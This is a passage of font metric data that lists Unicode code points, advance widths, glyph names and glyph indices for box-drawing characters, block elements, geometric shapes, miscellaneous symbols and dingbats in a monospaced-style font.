U 9491 ; WX 602 ; N uni2513 ; G 3315
U 9492 ; WX 602 ; N SF020000 ; G 3316
U 9493 ; WX 602 ; N uni2515 ; G 3317
U 9494 ; WX 602 ; N uni2516 ; G 3318
U 9495 ; WX 602 ; N uni2517 ; G 3319
U 9496 ; WX 602 ; N SF040000 ; G 3320
U 9497 ; WX 602 ; N uni2519 ; G 3321
U 9498 ; WX 602 ; N uni251A ; G 3322
U 9499 ; WX 602 ; N uni251B ; G 3323
U 9500 ; WX 602 ; N SF080000 ; G 3324
U 9501 ; WX 602 ; N uni251D ; G 3325
U 9502 ; WX 602 ; N uni251E ; G 3326
U 9503 ; WX 602 ; N uni251F ; G 3327
U 9504 ; WX 602 ; N uni2520 ; G 3328
U 9505 ; WX 602 ; N uni2521 ; G 3329
U 9506 ; WX 602 ; N uni2522 ; G 3330
U 9507 ; WX 602 ; N uni2523 ; G 3331
U 9508 ; WX 602 ; N SF090000 ; G 3332
U 9509 ; WX 602 ; N uni2525 ; G 3333
U 9510 ; WX 602 ; N uni2526 ; G 3334
U 9511 ; WX 602 ; N uni2527 ; G 3335
U 9512 ; WX 602 ; N uni2528 ; G 3336
U 9513 ; WX 602 ; N uni2529 ; G 3337
U 9514 ; WX 602 ; N uni252A ; G 3338
U 9515 ; WX 602 ; N uni252B ; G 3339
U 9516 ; WX 602 ; N SF060000 ; G 3340
U 9517 ; WX 602 ; N uni252D ; G 3341
U 9518 ; WX 602 ; N uni252E ; G 3342
U 9519 ; WX 602 ; N uni252F ; G 3343
U 9520 ; WX 602 ; N uni2530 ; G 3344
U 9521 ; WX 602 ; N uni2531 ; G 3345
U 9522 ; WX 602 ; N uni2532 ; G 3346
U 9523 ; WX 602 ; N uni2533 ; G 3347
U 9524 ; WX 602 ; N SF070000 ; G 3348
U 9525 ; WX 602 ; N uni2535 ; G 3349
U 9526 ; WX 602 ; N uni2536 ; G 3350
U 9527 ; WX 602 ; N uni2537 ; G 3351
U 9528 ; WX 602 ; N uni2538 ; G 3352
U 9529 ; WX 602 ; N uni2539 ; G 3353
U 9530 ; WX 602 ; N uni253A ; G 3354
U 9531 ; WX 602 ; N uni253B ; G 3355
U 9532 ; WX 602 ; N SF050000 ; G 3356
U 9533 ; WX 602 ; N uni253D ; G 3357
U 9534 ; WX 602 ; N uni253E ; G 3358
U 9535 ; WX 602 ; N uni253F ; G 3359
U 9536 ; WX 602 ; N uni2540 ; G 3360
U 9537 ; WX 602 ; N uni2541 ; G 3361
U 9538 ; WX 602 ; N uni2542 ; G 3362
U 9539 ; WX 602 ; N uni2543 ; G 3363
U 9540 ; WX 602 ; N uni2544 ; G 3364
U 9541 ; WX 602 ; N uni2545 ; G 3365
U 9542 ; WX 602 ; N uni2546 ; G 3366
U 9543 ; WX 602 ; N uni2547 ; G 3367
U 9544 ; WX 602 ; N uni2548 ; G 3368
U 9545 ; WX 602 ; N uni2549 ; G 3369
U 9546 ; WX 602 ; N uni254A ; G 3370
U 9547 ; WX 602 ; N uni254B ; G 3371
U 9548 ; WX 602 ; N uni254C ; G 3372
U 9549 ; WX 602 ; N uni254D ; G 3373
U 9550 ; WX 602 ; N uni254E ; G 3374
U 9551 ; WX 602 ; N uni254F ; G 3375
U 9552 ; WX 602 ; N SF430000 ; G 3376
U 9553 ; WX 602 ; N SF240000 ; G 3377
U 9554 ; WX 602 ; N SF510000 ; G 3378
U 9555 ; WX 602 ; N SF520000 ; G 3379
U 9556 ; WX 602 ; N SF390000 ; G 3380
U 9557 ; WX 602 ; N SF220000 ; G 3381
U 9558 ; WX 602 ; N SF210000 ; G 3382
U 9559 ; WX 602 ; N SF250000 ; G 3383
U 9560 ; WX 602 ; N SF500000 ; G 3384
U 9561 ; WX 602 ; N SF490000 ; G 3385
U 9562 ; WX 602 ; N SF380000 ; G 3386
U 9563 ; WX 602 ; N SF280000 ; G 3387
U 9564 ; WX 602 ; N SF270000 ; G 3388
U 9565 ; WX 602 ; N SF260000 ; G 3389
U 9566 ; WX 602 ; N SF360000 ; G 3390
U 9567 ; WX 602 ; N SF370000 ; G 3391
U 9568 ; WX 602 ; N SF420000 ; G 3392
U 9569 ; WX 602 ; N SF190000 ; G 3393
U 9570 ; WX 602 ; N SF200000 ; G 3394
U 9571 ; WX 602 ; N SF230000 ; G 3395
U 9572 ; WX 602 ; N SF470000 ; G 3396
U 9573 ; WX 602 ; N SF480000 ; G 3397
U 9574 ; WX 602 ; N SF410000 ; G 3398
U 9575 ; WX 602 ; N SF450000 ; G 3399
U 9576 ; WX 602 ; N SF460000 ; G 3400
U 9577 ; WX 602 ; N SF400000 ; G 3401
U 9578 ; WX 602 ; N SF540000 ; G 3402
U 9579 ; WX 602 ; N SF530000 ; G 3403
U 9580 ; WX 602 ; N SF440000 ; G 3404
U 9581 ; WX 602 ; N uni256D ; G 3405
U 9582 ; WX 602 ; N uni256E ; G 3406
U 9583 ; WX 602 ; N uni256F ; G 3407
U 9584 ; WX 602 ; N uni2570 ; G 3408
U 9585 ; WX 602 ; N uni2571 ; G 3409
U 9586 ; WX 602 ; N uni2572 ; G 3410
U 9587 ; WX 602 ; N uni2573 ; G 3411
U 9588 ; WX 602 ; N uni2574 ; G 3412
U 9589 ; WX 602 ; N uni2575 ; G 3413
U 9590 ; WX 602 ; N uni2576 ; G 3414
U 9591 ; WX 602 ; N uni2577 ; G 3415
U 9592 ; WX 602 ; N uni2578 ; G 3416
U 9593 ; WX 602 ; N uni2579 ; G 3417
U 9594 ; WX 602 ; N uni257A ; G 3418
U 9595 ; WX 602 ; N uni257B ; G 3419
U 9596 ; WX 602 ; N uni257C ; G 3420
U 9597 ; WX 602 ; N uni257D ; G 3421
U 9598 ; WX 602 ; N uni257E ; G 3422
U 9599 ; WX 602 ; N uni257F ; G 3423
U 9600 ; WX 769 ; N upblock ; G 3424
U 9601 ; WX 769 ; N uni2581 ; G 3425
U 9602 ; WX 769 ; N uni2582 ; G 3426
U 9603 ; WX 769 ; N uni2583 ; G 3427
U 9604 ; WX 769 ; N dnblock ; G 3428
U 9605 ; WX 769 ; N uni2585 ; G 3429
U 9606 ; WX 769 ; N uni2586 ; G 3430
U 9607 ; WX 769 ; N uni2587 ; G 3431
U 9608 ; WX 769 ; N block ; G 3432
U 9609 ; WX 769 ; N uni2589 ; G 3433
U 9610 ; WX 769 ; N uni258A ; G 3434
U 9611 ; WX 769 ; N uni258B ; G 3435
U 9612 ; WX 769 ; N lfblock ; G 3436
U 9613 ; WX 769 ; N uni258D ; G 3437
U 9614 ; WX 769 ; N uni258E ; G 3438
U 9615 ; WX 769 ; N uni258F ; G 3439
U 9616 ; WX 769 ; N rtblock ; G 3440
U 9617 ; WX 769 ; N ltshade ; G 3441
U 9618 ; WX 769 ; N shade ; G 3442
U 9619 ; WX 769 ; N dkshade ; G 3443
U 9620 ; WX 769 ; N uni2594 ; G 3444
U 9621 ; WX 769 ; N uni2595 ; G 3445
U 9622 ; WX 769 ; N uni2596 ; G 3446
U 9623 ; WX 769 ; N uni2597 ; G 3447
U 9624 ; WX 769 ; N uni2598 ; G 3448
U 9625 ; WX 769 ; N uni2599 ; G 3449
U 9626 ; WX 769 ; N uni259A ; G 3450
U 9627 ; WX 769 ; N uni259B ; G 3451
U 9628 ; WX 769 ; N uni259C ; G 3452
U 9629 ; WX 769 ; N uni259D ; G 3453
U 9630 ; WX 769 ; N uni259E ; G 3454
U 9631 ; WX 769 ; N uni259F ; G 3455
U 9632 ; WX 945 ; N filledbox ; G 3456
U 9633 ; WX 945 ; N H22073 ; G 3457
U 9634 ; WX 945 ; N uni25A2 ; G 3458
U 9635 ; WX 945 ; N uni25A3 ; G 3459
U 9636 ; WX 945 ; N uni25A4 ; G 3460
U 9637 ; WX 945 ; N uni25A5 ; G 3461
U 9638 ; WX 945 ; N uni25A6 ; G 3462
U 9639 ; WX 945 ; N uni25A7 ; G 3463
U 9640 ; WX 945 ; N uni25A8 ; G 3464
U 9641 ; WX 945 ; N uni25A9 ; G 3465
U 9642 ; WX 678 ; N H18543 ; G 3466
U 9643 ; WX 678 ; N H18551 ; G 3467
U 9644 ; WX 945 ; N filledrect ; G 3468
U 9645 ; WX 945 ; N uni25AD ; G 3469
U 9646 ; WX 550 ; N uni25AE ; G 3470
U 9647 ; WX 550 ; N uni25AF ; G 3471
U 9648 ; WX 769 ; N uni25B0 ; G 3472
U 9649 ; WX 769 ; N uni25B1 ; G 3473
U 9650 ; WX 769 ; N triagup ; G 3474
U 9651 ; WX 769 ; N uni25B3 ; G 3475
U 9652 ; WX 502 ; N uni25B4 ; G 3476
U 9653 ; WX 502 ; N uni25B5 ; G 3477
U 9654 ; WX 769 ; N uni25B6 ; G 3478
U 9655 ; WX 769 ; N uni25B7 ; G 3479
U 9656 ; WX 502 ; N uni25B8 ; G 3480
U 9657 ; WX 502 ; N uni25B9 ; G 3481
U 9658 ; WX 769 ; N triagrt ; G 3482
U 9659 ; WX 769 ; N uni25BB ; G 3483
U 9660 ; WX 769 ; N triagdn ; G 3484
U 9661 ; WX 769 ; N uni25BD ; G 3485
U 9662 ; WX 502 ; N uni25BE ; G 3486
U 9663 ; WX 502 ; N uni25BF ; G 3487
U 9664 ; WX 769 ; N uni25C0 ; G 3488
U 9665 ; WX 769 ; N uni25C1 ; G 3489
U 9666 ; WX 502 ; N uni25C2 ; G 3490
U 9667 ; WX 502 ; N uni25C3 ; G 3491
U 9668 ; WX 769 ; N triaglf ; G 3492
U 9669 ; WX 769 ; N uni25C5 ; G 3493
U 9670 ; WX 769 ; N uni25C6 ; G 3494
U 9671 ; WX 769 ; N uni25C7 ; G 3495
U 9672 ; WX 769 ; N uni25C8 ; G 3496
U 9673 ; WX 873 ; N uni25C9 ; G 3497
U 9674 ; WX 494 ; N lozenge ; G 3498
U 9675 ; WX 873 ; N circle ; G 3499
U 9676 ; WX 873 ; N uni25CC ; G 3500
U 9677 ; WX 873 ; N uni25CD ; G 3501
U 9678 ; WX 873 ; N uni25CE ; G 3502
U 9679 ; WX 873 ; N H18533 ; G 3503
U 9680 ; WX 873 ; N uni25D0 ; G 3504
U 9681 ; WX 873 ; N uni25D1 ; G 3505
U 9682 ; WX 873 ; N uni25D2 ; G 3506
U 9683 ; WX 873 ; N uni25D3 ; G 3507
U 9684 ; WX 873 ; N uni25D4 ; G 3508
U 9685 ; WX 873 ; N uni25D5 ; G 3509
U 9686 ; WX 527 ; N uni25D6 ; G 3510
U 9687 ; WX 527 ; N uni25D7 ; G 3511
U 9688 ; WX 791 ; N invbullet ; G 3512
U 9689 ; WX 970 ; N invcircle ; G 3513
U 9690 ; WX 970 ; N uni25DA ; G 3514
U 9691 ; WX 970 ; N uni25DB ; G 3515
U 9692 ; WX 387 ; N uni25DC ; G 3516
U 9693 ; WX 387 ; N uni25DD ; G 3517
U 9694 ; WX 387 ; N uni25DE ; G 3518
U 9695 ; WX 387 ; N uni25DF ; G 3519
U 9696 ; WX 769 ; N uni25E0 ; G 3520
U 9697 ; WX 769 ; N uni25E1 ; G 3521
U 9698 ; WX 769 ; N uni25E2 ; G 3522
U 9699 ; WX 769 ; N uni25E3 ; G 3523
U 9700 ; WX 769 ; N uni25E4 ; G 3524
U 9701 ; WX 769 ; N uni25E5 ; G 3525
U 9702 ; WX 590 ; N openbullet ; G 3526
U 9703 ; WX 945 ; N uni25E7 ; G 3527
U 9704 ; WX 945 ; N uni25E8 ; G 3528
U 9705 ; WX 945 ; N uni25E9 ; G 3529
U 9706 ; WX 945 ; N uni25EA ; G 3530
U 9707 ; WX 945 ; N uni25EB ; G 3531
U 9708 ; WX 769 ; N uni25EC ; G 3532
U 9709 ; WX 769 ; N uni25ED ; G 3533
U 9710 ; WX 769 ; N uni25EE ; G 3534
U 9711 ; WX 1119 ; N uni25EF ; G 3535
U 9712 ; WX 945 ; N uni25F0 ; G 3536
U 9713 ; WX 945 ; N uni25F1 ; G 3537
U 9714 ; WX 945 ; N uni25F2 ; G 3538
U 9715 ; WX 945 ; N uni25F3 ; G 3539
U 9716 ; WX 873 ; N uni25F4 ; G 3540
U 9717 ; WX 873 ; N uni25F5 ; G 3541
U 9718 ; WX 873 ; N uni25F6 ; G 3542
U 9719 ; WX 873 ; N uni25F7 ; G 3543
U 9720 ; WX 769 ; N uni25F8 ; G 3544
U 9721 ; WX 769 ; N uni25F9 ; G 3545
U 9722 ; WX 769 ; N uni25FA ; G 3546
U 9723 ; WX 830 ; N uni25FB ; G 3547
U 9724 ; WX 830 ; N uni25FC ; G 3548
U 9725 ; WX 732 ; N uni25FD ; G 3549
U 9726 ; WX 732 ; N uni25FE ; G 3550
U 9727 ; WX 769 ; N uni25FF ; G 3551
U 9728 ; WX 896 ; N uni2600 ; G 3552
U 9729 ; WX 1000 ; N uni2601 ; G 3553
U 9730 ; WX 896 ; N uni2602 ; G 3554
U 9731 ; WX 896 ; N uni2603 ; G 3555
U 9732 ; WX 896 ; N uni2604 ; G 3556
U 9733 ; WX 896 ; N uni2605 ; G 3557
U 9734 ; WX 896 ; N uni2606 ; G 3558
U 9735 ; WX 573 ; N uni2607 ; G 3559
U 9736 ; WX 896 ; N uni2608 ; G 3560
U 9737 ; WX 896 ; N uni2609 ; G 3561
U 9738 ; WX 888 ; N uni260A ; G 3562
U 9739 ; WX 888 ; N uni260B ; G 3563
U 9740 ; WX 671 ; N uni260C ; G 3564
U 9741 ; WX 1013 ; N uni260D ; G 3565
U 9742 ; WX 1246 ; N uni260E ; G 3566
U 9743 ; WX 1250 ; N uni260F ; G 3567
U 9744 ; WX 896 ; N uni2610 ; G 3568
U 9745 ; WX 896 ; N uni2611 ; G 3569
U 9746 ; WX 896 ; N uni2612 ; G 3570
U 9747 ; WX 532 ; N uni2613 ; G 3571
U 9748 ; WX 896 ; N uni2614 ; G 3572
U 9749 ; WX 896 ; N uni2615 ; G 3573
U 9750 ; WX 896 ; N uni2616 ; G 3574
U 9751 ; WX 896 ; N uni2617 ; G 3575
U 9752 ; WX 896 ; N uni2618 ; G 3576
U 9753 ; WX 896 ; N uni2619 ; G 3577
U 9754 ; WX 896 ; N uni261A ; G 3578
U 9755 ; WX 896 ; N uni261B ; G 3579
U 9756 ; WX 896 ; N uni261C ; G 3580
U 9757 ; WX 609 ; N uni261D ; G 3581
U 9758 ; WX 896 ; N uni261E ; G 3582
U 9759 ; WX 609 ; N uni261F ; G 3583
U 9760 ; WX 896 ; N uni2620 ; G 3584
U 9761 ; WX 896 ; N uni2621 ; G 3585
U 9762 ; WX 896 ; N uni2622 ; G 3586
U 9763 ; WX 896 ; N uni2623 ; G 3587
U 9764 ; WX 669 ; N uni2624 ; G 3588
U 9765 ; WX 746 ; N uni2625 ; G 3589
U 9766 ; WX 649 ; N uni2626 ; G 3590
U 9767 ; WX 784 ; N uni2627 ; G 3591
U 9768 ; WX 545 ; N uni2628 ; G 3592
U 9769 ; WX 896 ; N uni2629 ; G 3593
U 9770 ; WX 896 ; N uni262A ; G 3594
U 9771 ; WX 896 ; N uni262B ; G 3595
U 9772 ; WX 710 ; N uni262C ; G 3596
U 9773 ; WX 896 ; N uni262D ; G 3597
U 9774 ; WX 896 ; N uni262E ; G 3598
U 9775 ; WX 896 ; N uni262F ; G 3599
U 9776 ; WX 890 ; N uni2630 ; G 3600
U 9777 ; WX 890 ; N uni2631 ; G 3601
U 9778 ; WX 890 ; N uni2632 ; G 3602
U 9779 ; WX 890 ; N uni2633 ; G 3603
U 9780 ; WX 890 ; N uni2634 ; G 3604
U 9781 ; WX 890 ; N uni2635 ; G 3605
U 9782 ; WX 890 ; N uni2636 ; G 3606
U 9783 ; WX 890 ; N uni2637 ; G 3607
U 9784 ; WX 896 ; N uni2638 ; G 3608
U 9785 ; WX 1042 ; N uni2639 ; G 3609
U 9786 ; WX 1042 ; N smileface ; G 3610
U 9787 ; WX 1042 ; N invsmileface ; G 3611
U 9788 ; WX 896 ; N sun ; G 3612
U 9789 ; WX 896 ; N uni263D ; G 3613
U 9790 ; WX 896 ; N uni263E ; G 3614
U 9791 ; WX 614 ; N uni263F ; G 3615
U 9792 ; WX 732 ; N female ; G 3616
U 9793 ; WX 732 ; N uni2641 ; G 3617
U 9794 ; WX 896 ; N male ; G 3618
U 9795 ; WX 896 ; N uni2643 ; G 3619
U 9796 ; WX 896 ; N uni2644 ; G 3620
U 9797 ; WX 896 ; N uni2645 ; G 3621
U 9798 ; WX 896 ; N uni2646 ; G 3622
U 9799 ; WX 896 ; N uni2647 ; G 3623
U 9800 ; WX 896 ; N uni2648 ; G 3624
U 9801 ; WX 896 ; N uni2649 ; G 3625
U 9802 ; WX 896 ; N uni264A ; G 3626
U 9803 ; WX 896 ; N uni264B ; G 3627
U 9804 ; WX 896 ; N uni264C ; G 3628
U 9805 ; WX 896 ; N uni264D ; G 3629
U 9806 ; WX 896 ; N uni264E ; G 3630
U 9807 ; WX 896 ; N uni264F ; G 3631
U 9808 ; WX 896 ; N uni2650 ; G 3632
U 9809 ; WX 896 ; N uni2651 ; G 3633
U 9810 ; WX 896 ; N uni2652 ; G 3634
U 9811 ; WX 896 ; N uni2653 ; G 3635
U 9812 ; WX 896 ; N uni2654 ; G 3636
U 9813 ; WX 896 ; N uni2655 ; G 3637
U 9814 ; WX 896 ; N uni2656 ; G 3638
U 9815 ; WX 896 ; N uni2657 ; G 3639
U 9816 ; WX 896 ; N uni2658 ; G 3640
U 9817 ; WX 896 ; N uni2659 ; G 3641
U 9818 ; WX 896 ; N uni265A ; G 3642
U 9819 ; WX 896 ; N uni265B ; G 3643
U 9820 ; WX 896 ; N uni265C ; G 3644
U 9821 ; WX 896 ; N uni265D ; G 3645
U 9822 ; WX 896 ; N uni265E ; G 3646
U 9823 ; WX 896 ; N uni265F ; G 3647
U 9824 ; WX 896 ; N spade ; G 3648
U 9825 ; WX 896 ; N uni2661 ; G 3649
U 9826 ; WX 896 ; N uni2662 ; G 3650
U 9827 ; WX 896 ; N club ; G 3651
U 9828 ; WX 896 ; N uni2664 ; G 3652
U 9829 ; WX 896 ; N heart ; G 3653
U 9830 ; WX 896 ; N diamond ; G 3654
U 9831 ; WX 896 ; N uni2667 ; G 3655
U 9832 ; WX 896 ; N uni2668 ; G 3656
U 9833 ; WX 472 ; N uni2669 ; G 3657
U 9834 ; WX 638 ; N musicalnote ; G 3658
U 9835 ; WX 896 ; N musicalnotedbl ; G 3659
U 9836 ; WX 896 ; N uni266C ; G 3660
U 9837 ; WX 472 ; N uni266D ; G 3661
U 9838 ; WX 357 ; N uni266E ; G 3662
U 9839 ; WX 484 ; N uni266F ; G 3663
U 9840 ; WX 748 ; N uni2670 ; G 3664
U 9841 ; WX 766 ; N uni2671 ; G 3665
U 9842 ; WX 896 ; N uni2672 ; G 3666
U 9843 ; WX 896 ; N uni2673 ; G 3667
U 9844 ; WX 896 ; N uni2674 ; G 3668
U 9845 ; WX 896 ; N uni2675 ; G 3669
U 9846 ; WX 896 ; N uni2676 ; G 3670
U 9847 ; WX 896 ; N uni2677 ; G 3671
U 9848 ; WX 896 ; N uni2678 ; G 3672
U 9849 ; WX 896 ; N uni2679 ; G 3673
U 9850 ; WX 896 ; N uni267A ; G 3674
U 9851 ; WX 896 ; N uni267B ; G 3675
U 9852 ; WX 896 ; N uni267C ; G 3676
U 9853 ; WX 896 ; N uni267D ; G 3677
U 9854 ; WX 896 ; N uni267E ; G 3678
U 9855 ; WX 896 ; N uni267F ; G 3679
U 9856 ; WX 869 ; N uni2680 ; G 3680
U 9857 ; WX 869 ; N uni2681 ; G 3681
U 9858 ; WX 869 ; N uni2682 ; G 3682
U 9859 ; WX 869 ; N uni2683 ; G 3683
U 9860 ; WX 869 ; N uni2684 ; G 3684
U 9861 ; WX 869 ; N uni2685 ; G 3685
U 9862 ; WX 890 ; N uni2686 ; G 3686
U 9863 ; WX 890 ; N uni2687 ; G 3687
U 9864 ; WX 890 ; N uni2688 ; G 3688
U 9865 ; WX 890 ; N uni2689 ; G 3689
U 9866 ; WX 890 ; N uni268A ; G 3690
U 9867 ; WX 890 ; N uni268B ; G 3691
U 9868 ; WX 890 ; N uni268C ; G 3692
U 9869 ; WX 890 ; N uni268D ; G 3693
U 9870 ; WX 890 ; N uni268E ; G 3694
U 9871 ; WX 890 ; N uni268F ; G 3695
U 9872 ; WX 750 ; N uni2690 ; G 3696
U 9873 ; WX 750 ; N uni2691 ; G 3697
U 9874 ; WX 890 ; N uni2692 ; G 3698
U 9875 ; WX 816 ; N uni2693 ; G 3699
U 9876 ; WX 716 ; N uni2694 ; G 3700
U 9877 ; WX 537 ; N uni2695 ; G 3701
U 9878 ; WX 852 ; N uni2696 ; G 3702
U 9879 ; WX 890 ; N uni2697 ; G 3703
U 9880 ; WX 684 ; N uni2698 ; G 3704
U 9881 ; WX 896 ; N uni2699 ; G 3705
U 9882 ; WX 708 ; N uni269A ; G 3706
U 9883 ; WX 890 ; N uni269B ; G 3707
U 9884 ; WX 890 ; N uni269C ; G 3708
U 9886 ; WX 896 ; N uni269E ; G 3709
U 9887 ; WX 896 ; N uni269F ; G 3710
U 9888 ; WX 890 ; N uni26A0 ; G 3711
U 9889 ; WX 702 ; N uni26A1 ; G 3712
U 9890 ; WX 1004 ; N uni26A2 ; G 3713
U 9891 ; WX 1089 ; N uni26A3 ; G 3714
U 9892 ; WX 1175 ; N uni26A4 ; G 3715
U 9893 ; WX 903 ; N uni26A5 ; G 3716
U 9894 ; WX 838 ; N uni26A6 ; G 3717
U 9895 ; WX 838 ; N uni26A7 ; G 3718
U 9896 ; WX 838 ; N uni26A8 ; G 3719
U 9897 ; WX 838 ; N uni26A9 ; G 3720
U 9898 ; WX 838 ; N uni26AA ; G 3721
U 9899 ; WX 838 ; N uni26AB ; G 3722
U 9900 ; WX 838 ; N uni26AC ; G 3723
U 9901 ; WX 838 ; N uni26AD ; G 3724
U 9902 ; WX 838 ; N uni26AE ; G 3725
U 9903 ; WX 838 ; N uni26AF ; G 3726
U 9904 ; WX 844 ; N uni26B0 ; G 3727
U 9905 ; WX 838 ; N uni26B1 ; G 3728
U 9906 ; WX 732 ; N uni26B2 ; G 3729
U 9907 ; WX 732 ; N uni26B3 ; G 3730
U 9908 ; WX 732 ; N uni26B4 ; G 3731
U 9909 ; WX 732 ; N uni26B5 ; G 3732
U 9910 ; WX 850 ; N uni26B6 ; G 3733
U 9911 ; WX 732 ; N uni26B7 ; G 3734
U 9912 ; WX 732 ; N uni26B8 ; G 3735
U 9920 ; WX 838 ; N uni26C0 ; G 3736
U 9921 ; WX 838 ; N uni26C1 ; G 3737
U 9922 ; WX 838 ; N uni26C2 ; G 3738
U 9923 ; WX 838 ; N uni26C3 ; G 3739
U 9954 ; WX 732 ; N uni26E2 ; G 3740
U 9985 ; WX 838 ; N uni2701 ; G 3741
U 9986 ; WX 838 ; N uni2702 ; G 3742
U 9987 ; WX 838 ; N uni2703 ; G 3743
U 9988 ; WX 838 ; N uni2704 ; G 3744
U 9990 ; WX 838 ; N uni2706 ; G 3745
U 9991 ; WX 838 ; N uni2707 ; G 3746
U 9992 ; WX 838 ; N uni2708 ; G 3747
U 9993 ; WX 838 ; N uni2709 ; G 3748
U 9996 ; WX 838 ; N uni270C ; G 3749
U 9997 ; WX 838 ; N uni270D ; G 3750
U 9998 ; WX 838 ; N uni270E ; G 3751
U 9999 ; WX 838 ; N uni270F ; G 3752
U 10000 ; WX 838 ; N uni2710 ; G 3753
U 10001 ; WX 838 ; N uni2711 ; G 3754
U 10002 ; WX 838 ; N uni2712 ; G 3755
U 10003 ; WX 838 ; N uni2713 ; G 3756
U 10004 ; WX 838 ; N uni2714 ; G 3757
U 10005 ; WX 838 ; N uni2715 ; G 3758
U 10006 ; WX 838 ; N uni2716 ; G 3759
U 10007 ; WX 838 ; N uni2717 ; G 3760
U 10008 ; WX 838 ; N uni2718 ; G 3761
U 10009 ; WX 838 ; N uni2719 ; G 3762
U 10010 ; WX 838 ; N uni271A ; G 3763
U 10011 ; WX 838 ; N uni271B ; G 3764
U 10012 ; WX 838 ; N uni271C ; G 3765
U 10013 ; WX 838 ; N uni271D ; G 3766
U 10014 ; WX 838 ; N uni271E ; G 3767
U 10015 ; WX 838 ; N uni271F ; G 3768
U 10016 ; WX 838 ; N uni2720 ; G 3769
U 10017 ; WX 838 ; N uni2721 ; G 3770
U 10018 ; WX 838 ; N uni2722 ; G 3771
U 10019 ; WX 838 ; N uni2723 ; G 3772
U 10020 ; WX 838 ; N uni2724 ; G 3773
U 10021 ; WX 838 ; N uni2725 ; G 3774
U 10022 ; WX 838 ; N uni2726 ; G 3775
U 10023 ; WX 838 ; N uni2727 ; G 3776
U 10025 ; WX 838 ; N uni2729 ; G 3777
U 10026 ; WX 838 ; N uni272A ; G 3778
U 10027 ; WX 838 ; N uni272B ; G 3779
U 10028 ; WX 838 ; N uni272C ; G 3780
U 10029 ; WX 838 ; N uni272D ; G 3781
U 10030 ; WX 838 ; N uni272E ; G 3782
U 10031 ; WX 838 ; N uni272F ; G 3783
U 10032 ; WX 838 ; N uni2730 ; G 3784
U 10033 ; WX 838 ; N uni2731 ; G 3785
U 10034 ; WX 838 ; N uni2732 ; G 3786
U 10035 ; WX 838 ; N uni2733 ; G 3787
U 10036 ; WX 838 ; N uni2734 ; G 3788
U 10037 ; WX 838 ; N uni2735 ; G 3789
U 10038 ; WX 838 ; N uni2736 ; G 3790
U 10039 ; WX 838 ; N uni2737 ; G 3791
U 10040 ; WX 838 ; N uni2738 ; G 3792
U 10041 ; WX 838 ; N uni2739 ; G 3793
U 10042 ; WX 838 ; N uni273A ; G 3794
U 10043 ; WX 838 ; N uni273B ; G 3795
U 10044 ; WX 838 ; N uni273C ; G 3796
U 10045 ; WX 838 ; N uni273D ; G 3797
U 10046 ; WX 838 ; N uni273E ; G 3798
U 10047 ; WX 838 ; N uni273F ; G 3799
U 10048 ; WX 838 ; N uni2740 ; G 3800
U 10049 ; WX 838 ; N uni2741 ; G 3801
U 10050 ; WX 838 ; N uni2742 ; G 3802
U 10051 ; WX 838 ; N uni2743 ; G 3803
U 10052 ; WX 838 ; N uni2744 ; G 3804
U 10053 ; WX 838 ; N uni2745 ; G 3805
U 10054 ; WX 838 ; N uni2746 ; G 3806
U 10055 ; WX 838 ; N uni2747 ; G 3807
U 10056 ; WX 838 ; N uni2748 ; G 3808
U 10057 ; WX 838 ; N uni2749 ; G 3809
U 10058 ; WX 838 ; N uni274A ; G 3810
U 10059 ; WX 838 ; N uni274B ; G 3811
U 10061 ; WX 896 ; N uni274D ; G 3812
U 10063 ; WX 896 ; N uni274F ; G 3813
U 10064 ; WX 896 ; N uni2750 ; G 3814
U 10065 ; WX 896 ; N uni2751 ; G 3815
U 10066 ; WX 896 ; N uni2752 ; G 3816
U 10070 ; WX 896 ; N uni2756 ; G 3817
U 10072 ; WX 838 ; N uni2758 ; G 3818
U 10073 ; WX 838 ; N uni2759 ; G 3819
U 10074 ; WX 838 ; N uni275A ; G 3820
U 10075 ; WX 322 ; N uni275B ; G 3821
U 10076 ; WX 322 ; N uni275C ; G 3822
U 10077 ; WX 538 ; N uni275D ; G 3823
U 10078 ; WX 538 ; N uni275E ; G 3824
U 10081 ; WX 838 ; N uni2761 ; G 3825
U 10082 ; WX 838 ; N uni2762 ; G 3826
U 10083 ; WX 838 ; N uni2763 ; G 3827
U 10084 ; WX 838 ; N uni2764 ; G 3828
U 10085 ; WX 838 ; N uni2765 ; G 3829
U 10086 ; WX 838 ; N uni2766 ; G 3830
U 10087 ; WX 838 ; N uni2767 ; G 3831
U 10088 ; WX 838 ; N uni2768 ; G 3832
U 10089 ; WX 838 ; N uni2769 ; G 3833
U 10090 ; WX 838 ; N uni276A ; G 3834
U 10091 ; WX 838 ; N uni276B ; G 3835
U 10092 ; WX 838 ; N uni276C ; G 3836
U 10093 ; WX 838 ; N uni276D ; G 3837
U 10094 ; WX 838 ; N uni276E ; G 3838
U 10095 ; WX 838 ; N uni276F ; G 3839
U 10096 ; WX 838 ; N uni2770 ; G 3840
U 10097 ; WX 838 ; N uni2771 ; G 3841
U 10098 ; WX 838 ; N uni2772 ; G 3842
U 10099 ; WX 838 ; N uni2773 ; G 3843
U 10100 ; WX 838 ; N uni2774 ; G 3844
U 10101 ; WX 838 ; N uni2775 ; G 3845
U 10102 ; WX 896 ; N uni2776 ; G 3846
U 10103 ; WX 896 ; N uni2777 ; G 3847
U 10104 ; WX 896 ; N uni2778 ; G 3848
U 10105 ; WX 896 ; N uni2779 ; G 3849
U 10106 ; WX 896 ; N uni277A ; G 3850
U 10107 ; WX 896 ; N uni277B ; G 3851
U 10108 ; WX 896 ; N uni277C ; G 3852
U 10109 ; WX 896 ; N uni277D ; G 3853
U 10110 ; WX 896 ; N uni277E ; G 3854
U 10111 ; WX 896 ; N uni277F ; G 3855
U 10112 ; WX 838 ; N uni2780 ; G 3856
U 10113 ; WX 838 ; N uni2781 ; G 3857
U 10114 ; WX 838 ; N uni2782 ; G 3858
U 10115 ; WX 838 ; N uni2783 ; G 3859
U 10116 ; WX 838 ; N uni2784 ; G 3860
U 10117 ; WX 838 ; N uni2785 ; G 3861
U 10118 ; WX 838 ; N uni2786 ; G 3862
U 10119 ; WX 838 ; N uni2787 ; G 3863
U 10120 ; WX 838 ; N uni2788 ; G 3864
U 10121 ; WX 838 ; N uni2789 ; G 3865
U 10122 ; WX 838 ; N uni278A ; G 3866
U 10123 ; WX 838 ; N uni278B ; G 3867
U 10124 ; WX 838 ; N uni278C ; G 3868
U 10125 ; WX 838 ; N uni278D ; G 3869
U 10126 ; WX 838 ; N uni278E ; G 3870
U 10127 ; WX 838 ; N uni278F ; G 3871
U 10128 ; WX 838 ; N uni2790 ; G 3872
U 10129 ; WX 838 ; N uni2791 ; G 3873
